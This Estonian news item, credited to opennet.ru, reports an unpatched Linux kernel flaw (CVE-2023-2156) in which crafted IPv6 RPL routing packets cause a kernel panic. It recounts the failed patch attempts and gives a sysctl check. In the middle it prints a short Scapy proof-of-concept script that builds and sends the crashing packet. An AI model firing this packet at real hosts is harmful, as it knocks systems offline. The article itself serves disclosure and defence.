Avalikustatud teave parandamatust (0-day) haavatavusest (CVE-2023-2156) Linuxi tuumas, mis võimaldab süsteemi töö katkestada läbi spetsiaalselt valmistatud IPv6 pakettide saatmise (packet-of-death). Probleem ilmneb ainult siis, kui RPL (Routing Protocol for Low-Power and Lossy Networks) protokoll on sisse lülitatud, mis on vaikimisi distributsioonides välja lülitatud ja mida kasutatakse peamiselt sisseehitatud seadmetes, mis töötavad traadita võrkudes, kus kaotuste määr on kõrge.
Haavatavus tuleneb väliste andmete vale töötlemise tõttu RPL protokolli analüüsi koodis, mis toob kaasa assert-rikkumise ja tuuma paanikasse mineku. Kui k_buff (Socket Buffer) struktuuris on andmed, mis pärinevad IPv6 RPL paketi pealkirja analüüsimisest, ja CmprI väli on seatud 15-le, Segleft väli 1-le ning CmprE 0-le, siis 48-baytine aadressivektor lahtipakkimisel paisub 528 baytini, mis viib olukorrani, kus mudelile eraldatud mälu on ebapiisav. Sellisel juhul activeerub funktsiooni skb_push, mille eesmärk on andmete struktuuri lisamine, kontroll, mis genereerib paanikaseisundit, et vältida andmete kirjutamist mälust välja.
Näide eksploitist: # Kasutame Scapy't paketi koostamiseks from scapy.all import * import socket # Kasuta IPv6 aadressi oma LAN liidesest DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Kasutame socket'e paketi saatmiseks sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Koosta paket # Tüüp = 3 teeb selle RPL paketiks # Aadressid sisaldavad 3 aadressi, kuid kuna CmprI on 15, # iga esimese kahe aadressi oktett käsitletakse komprimeeritud aadressina # Segleft = 1 amplifikatsiooni aktiveerimiseks # viimane_entry = 0xf0 seab CmprI 15-ks ja CmprE 0-ks p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Saada see kuri pakett sockfd.sendto(bytes(p), (DST_ADDR, 0))
Märkimisväärne on see, et tuuma arendajatele teatati haavatavusest juba 2022. aasta jaanuaris ning viimase 15 kuu jooksul on kolm korda üritatud probleemi lahendada, väljastades plaastrid 2022. aasta septembris, oktoobris ja aprillis 2023, kuid iga kord osutusid parandused ebapiisavaks ja haavatavus suutis taasluua. Lõppkokkuvõttes otsustas ZDI projekt, mis koordineeris haavatavuse kõrvaldamist, avalikustada haavatavuse üksikasjad, ootamata töötava paranduse ilmumist tuumas.
Seega jääb haavatavus endiselt parandamata. Samuti ei ole tõhus plaaster, mis lisati tuuma versiooni 6.4-rc2. Kasutajatele soovitatakse kontrollida, kas RPL protokoll ei ole nende süsteemides kasutusel, mida saab teha käsuga sysctl -a | grep -i rpl_seg_enabled
Allikas: opennet.ru
